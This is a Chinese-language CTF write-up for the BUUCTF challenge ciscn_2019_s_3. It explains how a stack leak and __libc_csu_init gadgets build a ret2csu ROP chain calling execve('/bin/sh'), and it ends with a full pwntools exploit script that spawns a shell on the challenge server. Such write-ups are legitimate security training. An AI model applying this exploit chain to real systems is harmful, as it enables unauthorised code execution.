ret2csu
ret2csu
例题:题目 BUUCTF ciscn_2019_s_3
https://buuoj.cn/challenges#ciscn_2019_s_3
这道题两种方法,ret2csu和SROP,这里先用ret2csu的方法,下一篇用SROP
checksec一下
ida反编译一下
程序中没有明显的后门函数,开启了nx保护,不能shellcode,想用libc做但发现没有可泄露的函数got地址也没有puts或write的plt打印,只有一个gadgets函数打开不知道是做什么的,看看汇编
发现了mov rax,0x3b的指令,想到了系统调用号,于是这道题想用ret2syscall来做,那么首先需要做的就是把binsh写入一个可知的地址当中,注意看主程序,读入buf后会把buf打印出来,然而buf只有0x10的空间,write却可以打印0x30,找到了突破点,write打印完buf后,会继续泄露栈地址。
**如何利用?**把/bin/sh\x00字符串写在buf里面,然后gdb调试找到泄露的栈地址到buf的距离,接收到地址后减去这个距离,就是binsh的地址!接下来gdb调试一下,在read函数下断点,run,然后ni一下输入AAAAAAAA字符串
stack查看一下栈空间
看别的师傅的wp说存着程序名的地址就是stack的地址,那我用这个地址减去存有AAAAA字符串的地址就是stack到buf的距离,即0x148
然后找到存字符串的地址,用x/gx指令查看一下内存
内存中的stack地址是到0x…c0才输出的,而buf中的字符串是从0x…a0开始输出的,所以我们在接收数据的时候先把前面0x20的字符用recvuntil截掉,然后接收数据再减去刚才算出来的0x148就是binsh的地址
有了binsh后,来看一看gadgets
只找到了pop rdi;ret,但是想ret2syscall的话必须要实现exceve(binsh,0,0),如果不能控制rsi和rdx的话是做不到的,这时发现函数表中有一个__libc_csu——init,当gadgets不够的时候,可以想想ret2csu,点进去看汇编
发现了两个地址,一个可以pop六个寄存器,另一个可以将r13和r14的值分别赋给rdx和rsi,而r13和r14恰好就在被pop的那六个寄存器中,于是思路清晰了,先pop六个寄存器为0,然后再赋值,就可以实现传参,但是有一个细节需要注意,上图中紫色圈起来的地方,call [r12+rbx*8],这里要让call后面跟一个合理的地址,因为rbx是0,所以就让r12的值为一个合理地址的值就可以了,这里让他指向binsh+0x50,下面这张图很清晰的给出了构造的ROP链的栈空间(虽然现在还没开始构造,但是构造完后就是这样),binsh+0x50就是mov rax 59的地址
这道题还有一个坑点,那就是main函数通常都是rbp索引的,结尾为leave;ret;而这题少了leave,是rsp索引的,所以payload就不需要填充rbp了
exp如下:
from pwn import *
r=remote("node5.buuoj.cn",28729)
\#r=process("./pwn")
context(os="linux",arch="amd64",log_level="debug")
context.terminal = ['tmux', 'splitw', '-h']
elf=ELF("./pwn")
main=elf.sym['vuln']
pop6=0x40059a
mov_rdx_r13=0x400580
pop_rdi=0x4005a3
execve=0x4004E2
syscall=0x400517
payload=b'/bin/sh\x00'+b'a'*8+p64(main)
r.sendline(payload)
r.recv(0x20)
binsh=u64(r.recv(8))-0x148
payload2=b'/bin/sh\x00'*2+p64(pop6)+p64(0)*2+p64(binsh+80)+p64(0)*3+p64(mov_rdx_r13)+p64(execve)+p64(pop_rdi)+p64(binsh)+p64(syscall)
r.sendline(payload2)
r.interactive()
但是这题有个很奇怪的地方,stack到buf的距离算出来的0x148在本地可以打通,但是远程打不通,远程要用0x118才可以打通,可能是题目有些问题。










